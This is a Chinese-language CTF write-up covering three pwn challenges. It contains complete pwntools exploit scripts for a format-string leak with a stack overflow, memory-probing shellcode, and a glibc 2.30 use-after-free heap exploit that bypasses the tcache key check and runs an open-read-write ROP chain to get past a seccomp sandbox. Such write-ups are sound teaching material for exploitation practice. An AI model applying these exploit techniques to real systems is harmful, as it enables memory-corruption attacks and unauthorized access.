这次比赛有点短小啊(滑稽),三个pwn题,做了两个。其中的一道堆质量还挺不错。
2020-7-27:(eg32已经复现)

签到

真·签到
这道题法子太多了,不论是printf的格式化字符串还是gets的栈溢出都是致命的。
只是要注意的是32位的main函数结束的时候有一节汇编用到了ebp,就导致了直接覆盖ebp从而覆盖返回地址就是不可行的了。
相关代码:

1
2
3
4
5
.text:080485F8                 mov     eax, 0
.text:080485FD mov ecx, [ebp+var_4]
.text:08048600 leave
.text:08048601 lea esp, [ecx-4]
.text:08048604 retn

所以需要先泄露ebp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('qiandao')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./qiandao')

else:
p = remote(ip,port)
#gdb.attach(p,"b *0x80485F0")
p.sendlineafter("your name:\n","%2$p")
p.recvuntil("0x")
addr=int(p.recv(8),16)
p.sendlineafter(" problem?\n","aaaabaaacaaadaaaeaaafaaagaaahaaaiaaa"+p32(addr+4)+p32(0x804857D))

p.interactive()
if __name__ == '__main__':
pwn('183.129.189.60',10013,0)

eg32

这个没做出来,后来复现的了。
利用思路也很简单,就是爆破。
syscall在调用失败后并不会报段错误而是eax返回!=0的值,我们利用eax的值来判断爆破是否成功,
具体实现为利用write打印某页地址。如果eax!=0,那么地址+一个标准页,如果eax=0,exit。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'i386'
elf = ELF('eg32')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./eg32')

else:
p = remote(ip,port)
#gdb.attach(p,"b*0x804881C")
write='''
push 0x9000000
pop ecx

push 1
pop ebx

push 0x1000
pop edx

push 4
pop eax

int 0x80
add ecx,edx
cmp eax,0
'''


exit='''
push 1
pop eax
xor ebx,ebx
int 0x80
'''
shellcode=asm(write)+"\x7C\xF4"+asm(exit)

p.sendafter("Hints: flag{.*}\n",shellcode)

p.interactive()
if __name__ == '__main__':
pwn('buuoj.cn',20035,1)

bigbear

这个题还是蛮不错的,至少让我知道了在libc2.29以后用setcontext来控制寄存器需要控制edx而不是edi了。

查找漏洞

漏洞点,简单粗暴。

1
2
3
4
5
6
7
8
9
10
11
void del()
{
unsigned int v0; // [rsp+Ch] [rbp-4h]

puts("Please input the idx");
v0 = myRead();
if ( v0 <= 0x50 && addrList[v0] )
free((void *)addrList[v0]);
else
puts("Invalid idx");
}

如图,在free之后没有清空指针,形成UAF

利用思路

开了沙盒,不能直接shell

1
2
3
4
5
6
7
8
9
10
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL

由于在libc.2.30下setcontext的汇编段变成了rdx来控制寄存器的恢复,如下图所示

1
2
3
4
5
6
7
8
9
10
11
12
.text:000000000005803D                 mov     rsp, [rdx+0A0h]
.text:0000000000058044 mov rbx, [rdx+80h]
.text:000000000005804B mov rbp, [rdx+78h]
.text:000000000005804F mov r12, [rdx+48h]
.text:0000000000058053 mov r13, [rdx+50h]
.text:0000000000058057 mov r14, [rdx+58h]
.text:000000000005805B mov r15, [rdx+60h]
.text:000000000005805F test dword ptr fs:48h, 2
.text:000000000005806B jz loc_58126
.text:0000000000058071 mov rsi, [rdx+3A8h]
.text:0000000000058078 mov rdi, rsi
.text:000000000005807B mov rcx, [rdx+3B0h]

如图,我们发现libc2.30里面的setcontext代码块变成了rdx,这就导致了我们通过更改free_hook来执行setcontext这段汇编从而控制所有寄存器的方法不可行了。
这里,我们用劫持返回地址的方法来打印出flag
具体步骤为:
1.泄露libc地址
2.泄露栈地址
3.更改返回地址

具体实现

首先我们泄露libc地址,这个我们直接填满tcache,利用UAF来打印出libc指针

1
2
3
4
5
6
7
8
9
for i in range(8):
add(0x90,"A"*0x90)
add(0x140,"A"*0x140)
add(0x140,"A"*0x140)
add(0x100,"A"*0x140)
add(0x140,"flag\x00".ljust(0x140,"\x00"))
for i in range(8):
free(i)
show(7)

然后泄露栈地址。

1
2
3
4
edit(6,p64(environ_addr-0x10))
add(0x90,"A"*0x10)
add(0x90,"A"*0x10)
show(13)

libc里面的environ结构体里储存着栈的指针,我们利用UAF来打印出来
这里我把environ-0x10放入tcache链。
然后构造堆块,更改返回地址即可
这里我们要知道,在libc2.30里面tcache的链条增加了double free的判断。添加了key结构,每次将堆块free时都会查看同一个key上有没有相同的堆块,
这里我们通过修改已经free的chunk的key来实现绕过

1
2
3
4
5
6
7
8
9
10
free(9)
free(8)
edit(8,p64(0)+"\x20")
free(8)
show(8)
p.recvuntil("Content:")
heap_addr=u64(p.recv(6).ljust(8,"\x00"))-0x7a0
add(0x140,p64(stack_addr-0x140))
add(0x140,p64(stack_addr-0x140).ljust(0x140,'\x00'))
add(0x140,orw+'\n')

这里我顺便打印了heap的地址,通过计算偏移找到返回地址,而后劫持就可以。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('bigbear')
p = 0
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./bigbear')

else:
p = remote(ip,port)
def add(size,content):
p.sendlineafter(">>","1")
p.sendlineafter("input the size:\n",str(size))
p.sendafter("input the content:\n",content)
def free(index):
p.sendlineafter(">>","2")
p.sendlineafter("Please input the idx\n",str(index))
def show(index):
p.sendlineafter(">>","3")
p.sendlineafter("Please input the idx:\n",str(index))
def edit(index,content):
p.sendlineafter(">>","4")
p.sendlineafter("Please input the idx\n",str(index))
p.sendafter("input the content:\n",content)
for i in range(8):
add(0x90,"A"*0x90)
add(0x140,"A"*0x140)
add(0x140,"A"*0x140)
add(0x100,"A"*0x140)
add(0x140,"flag\x00".ljust(0x140,"\x00"))
for i in range(8):
free(i)
show(7)
p.recvuntil("Content:")
main_arena=u64(p.recv(6).ljust(8,"\x00"))
libcbase_addr=main_arena-(0x7f6190f26be0-0x00007f6190d3c000)
free_hook=libcbase_addr+libc.symbols["__free_hook"]
setcontext_addr=libcbase_addr+libc.symbols["setcontext"]
environ_addr=libcbase_addr+(0x7fbfb459b2c0-0x7fbfb43ad000)
pop_rdi_ret=libcbase_addr+libc.search(asm("pop rdi\nret")).next()
pop_rsi_ret=libcbase_addr+libc.search(asm("pop rsi\nret")).next()
pop_rdx_ret=libcbase_addr+libc.search(asm("pop rdx\nret")).next()
open_addr=libcbase_addr+libc.symbols["open"]
read_addr=libcbase_addr+libc.symbols["read"]
puts_addr=libcbase_addr+libc.symbols["puts"]
print "main_arena=",hex(main_arena)
edit(6,p64(environ_addr-0x10))
add(0x90,"A"*0x10)
add(0x90,"A"*0x10)
show(13)
p.recvuntil("Content:AAAAAAAAAAAAAAAA")
stack_addr=u64(p.recv(6).ljust(8,"\x00"))
print "stack_addr=",hex(stack_addr)
free(9)
free(8)
edit(8,p64(0)+"\x20")
free(8)
show(8)
p.recvuntil("Content:")
heap_addr=u64(p.recv(6).ljust(8,"\x00"))-0x7a0
print "heap_addr=",hex(heap_addr)
orw=p64(0)*2
orw+=p64(pop_rdi_ret)+p64(heap_addr+0xb50)
orw+=p64(pop_rsi_ret)+p64(72)
orw+=p64(open_addr)
orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(heap_addr+0x30)+p64(read_addr)
orw+=p64(pop_rdi_ret)+p64(heap_addr+0x30)+p64(puts_addr)
add(0x140,p64(stack_addr-0x140))
add(0x140,p64(stack_addr-0x140).ljust(0x140,'\x00'))
#gdb.attach(p,"b*read")
add(0x140,orw+'\n')
#p.sendlineafter(">>","5")
p.interactive()
if __name__ == '__main__':
pwn('buuoj.cn',20035,1)

总结

主要就是堆那个是我之前没想到的,导致我一开始去改free_hook去了,浪费了一点时间。另外pwn2俺没做出来,想复现,求做出来的师傅们带带弟弟。(联系下弟弟0rz)
Orz。